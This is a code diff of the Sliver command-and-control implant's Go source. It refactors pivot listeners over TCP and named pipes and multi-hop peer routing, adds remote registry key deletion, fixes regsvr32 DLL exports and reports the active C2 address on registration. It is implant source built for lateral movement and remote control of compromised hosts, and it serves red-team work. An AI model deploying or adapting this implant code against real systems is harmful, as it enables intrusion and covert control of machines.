||||
sent, err := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{
|
||||
PeerID: pivots.MyPeerID,
|
||||
Type: pb.PeerFailureType_SEND_FAILURE,
|
||||
Err: errStr,
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: data,
|
||||
|
||||
@@ -20,6 +20,7 @@ package pivots
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -29,39 +30,37 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
}
|
||||
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Failed to determine hostname %s", err)
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
@@ -69,15 +68,14 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
readDeadline: namedpipePivotReadDeadline,
|
||||
writeDeadline: namedpipePivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
go pivotConn.Start(pivotListener.PivotConnections)
|
||||
}
|
||||
}
|
||||
+206
-92
@@ -43,17 +43,39 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedWrite - Failed to write to a connection
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
pivotListeners = &sync.Map{}
|
||||
stoppedPivotListeners = &sync.Map{}
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
listenerID = uint32(0)
|
||||
|
||||
// MyPeerID - This implant's Peer ID, a per-execution instance ID
|
||||
MyPeerID = generatePeerID()
|
||||
|
||||
pivotReadDeadline = 10 * time.Second
|
||||
pivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
// generatePeerID - Generate a new pivot id
|
||||
func generatePeerID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
return time.Now().UnixNano() // These need only be unique
|
||||
}
|
||||
peerID := int64(binary.LittleEndian.Uint64(buf))
|
||||
if peerID == int64(0) {
|
||||
return time.Now().UnixNano()
|
||||
}
|
||||
return peerID
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -68,9 +90,56 @@ func GetListeners() []*pb.PivotListener {
|
||||
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", MyPeerID)
|
||||
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
|
||||
// {{end}}
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
}
|
||||
|
||||
// RemoveListener - Stop a pivot listener
|
||||
func RemoveListener(id uint32) {
|
||||
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// RestartAllListeners - Start all pivot listeners
|
||||
func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
go listener.Start()
|
||||
AddListener(listener)
|
||||
}
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = nil
|
||||
}
|
||||
|
||||
// StopAllListeners - Stop all pivot listeners
|
||||
func StopAllListeners() {
|
||||
pivotListeners.Range(func(key, value interface{}) bool {
|
||||
value.(*PivotListener).Stop()
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = pivotListeners
|
||||
pivotListeners = &sync.Map{}
|
||||
}
|
||||
|
||||
// StartListener - Stop a pivot listener
|
||||
func StartListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Start()
|
||||
}
|
||||
}
|
||||
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
@@ -79,71 +148,74 @@ func StopListener(id uint32) {
|
||||
}
|
||||
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
func SendToPeer(envelope *pb.Envelope) (bool, error) {
|
||||
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
log.Printf("Failed to find next peer id: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
|
||||
if ok {
|
||||
pivot := pivotConn.(*NetConnPivot)
|
||||
pivot.Downstream <- envelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to find peer with id %d", nextPeerID)
|
||||
// {{end}}
|
||||
return false, errors.New("peer not found")
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
return sent, nil
|
||||
}
|
||||
|
||||
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
|
||||
for index, peer := range pivotPeerEnvelope.Peers {
|
||||
if peer.PeerID == MyPeerID {
|
||||
if 0 <= index-1 {
|
||||
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return int64(0), errors.New("next peer not found")
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivotPeers := []*pb.NetConnPivot{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
@@ -156,23 +228,47 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
// Start - Start the pivot listener
|
||||
func (p *PivotListener) Start() {
|
||||
for {
|
||||
conn, err := p.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] accept error: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: pivotReadDeadline,
|
||||
writeDeadline: pivotWriteDeadline,
|
||||
upstream: p.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(p.PivotConnections)
|
||||
}
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
l.Listener.Close() // Stop accepting new connections
|
||||
|
||||
// Close all existing connections
|
||||
connectionIDs := []int64{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
connectionIDs = append(connectionIDs, key.(int64))
|
||||
return true
|
||||
})
|
||||
for _, id := range connectionIDs {
|
||||
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
|
||||
if ok {
|
||||
pivotConn.(*NetConnPivot).Close()
|
||||
}
|
||||
}
|
||||
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
@@ -181,55 +277,50 @@ func ListenerID() uint32 {
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
downstreamPeerID int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
// DownstreamPeerID - ID of peer pivot
|
||||
func (p *NetConnPivot) DownstreamPeerID() int64 {
|
||||
return p.downstreamPeerID
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
|
||||
return &pb.NetConnPivot{
|
||||
PeerID: p.downstreamPeerID,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
defer func() {
|
||||
p.conn.Close()
|
||||
}()
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
pivots.Store(p.DownstreamPeerID(), p)
|
||||
defer pivots.Delete(p.DownstreamPeerID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
@@ -246,22 +337,30 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// Append ourselves to the list of peers, and then upstream
|
||||
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
|
||||
PeerID: MyPeerID,
|
||||
Name: consts.SliverName,
|
||||
})
|
||||
envelope.Data, _ = proto.Marshal(peerEnvelope)
|
||||
p.upstream <- envelope
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}()
|
||||
@@ -269,6 +368,15 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
if p.downstreamPeerID != 0 {
|
||||
p.upstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: mustMarshal(&pb.PivotPeerFailure{
|
||||
Type: pb.PeerFailureType_DISCONNECT,
|
||||
PeerID: p.downstreamPeerID,
|
||||
}),
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -301,6 +409,7 @@ func (p *NetConnPivot) peerKeyExchange() error {
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
p.downstreamPeerID = peerHello.PeerID
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
@@ -461,3 +570,8 @@ func (p *NetConnPivot) RemoteAddress() string {
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
|
||||
func mustMarshal(msg proto.Message) []byte {
|
||||
data, _ := proto.Marshal(msg)
|
||||
return data
|
||||
}
|
||||
@@ -24,6 +24,6 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
}
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
|
||||
}
|
||||
@@ -35,8 +35,8 @@ var (
|
||||
tcpPivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartTCPPivotListener - Start a TCP listener
|
||||
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// CreateTCPPivotListener - Start a TCP listener
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
@@ -48,37 +48,12 @@ func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivot
|
||||
return nil, err
|
||||
}
|
||||
pivotListener := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go tcpPivotAcceptNewConnections(pivotListener)
|
||||
return pivotListener, nil
|
||||
}
|
||||
|
||||
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] listener stopping: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
@@ -127,6 +127,26 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteKey removes an existing key or value.
|
||||
// Removing a value takes precident over removing a key.
|
||||
// If neither exists, an error is returned.
|
||||
func DeleteKey(hostname string, hive string, path string, key string) error {
|
||||
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not open key %s: %s\n", path, err.Error())
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue(key)
|
||||
if err != nil {
|
||||
err = registry.DeleteKey(*k, key)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// ListSubKeys returns all the subkeys for the provided path
|
||||
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
|
||||
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
|
||||
|
||||
+27
-23
@@ -52,6 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -80,11 +81,10 @@ var (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
n, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil && n == len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil || n != len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
@@ -169,12 +169,12 @@ func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
// export DllRegisterServer
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
// export DllUnregisterServer
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
// {{end}}
|
||||
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.URL()
|
||||
register.ProxyURL = beacon.ProxyURL()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: InstanceID,
|
||||
Interval: beacon.Interval(),
|
||||
@@ -527,7 +527,10 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
pivots.RestartAllListeners(connection.Send)
|
||||
defer pivots.StopAllListeners()
|
||||
defer connection.Stop()
|
||||
|
||||
connectionErrors = 0
|
||||
// Reconnect active pivots
|
||||
// pivots.ReconnectActivePivots(connection)
|
||||
@@ -589,6 +592,8 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if envelope.Type == sliverpb.MsgCloseSession {
|
||||
return nil
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] unknown envelope type %d", envelope.Type)
|
||||
@@ -618,7 +623,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
|
||||
}
|
||||
}
|
||||
|
||||
// registerSliver - Creates a registartion protobuf message
|
||||
// registerSliver - Creates a registration protobuf message
|
||||
func registerSliver() *sliverpb.Register {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
@@ -660,20 +665,19 @@ func registerSliver() *sliverpb.Register {
|
||||
// {{end}}
|
||||
|
||||
return &sliverpb.Register{
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
// ActiveC2: transports.GetActiveC2(),
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
// ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
}
|
||||
}
|
||||
@@ -80,24 +80,8 @@ type Beacon struct {
|
||||
Close BeaconClose
|
||||
Cleanup BeaconCleanup
|
||||
|
||||
url *url.URL
|
||||
proxyURL *url.URL
|
||||
}
|
||||
|
||||
// URL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) URL() string {
|
||||
if b.url == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) ProxyURL() string {
|
||||
if b.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
ActiveC2 string
|
||||
ProxyURL string
|
||||
}
|
||||
|
||||
// Interval - Interval between beacons
|
||||
@@ -215,6 +199,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
var conn *tls.Conn
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
return nil
|
||||
},
|
||||
@@ -262,6 +247,7 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
return nil
|
||||
},
|
||||
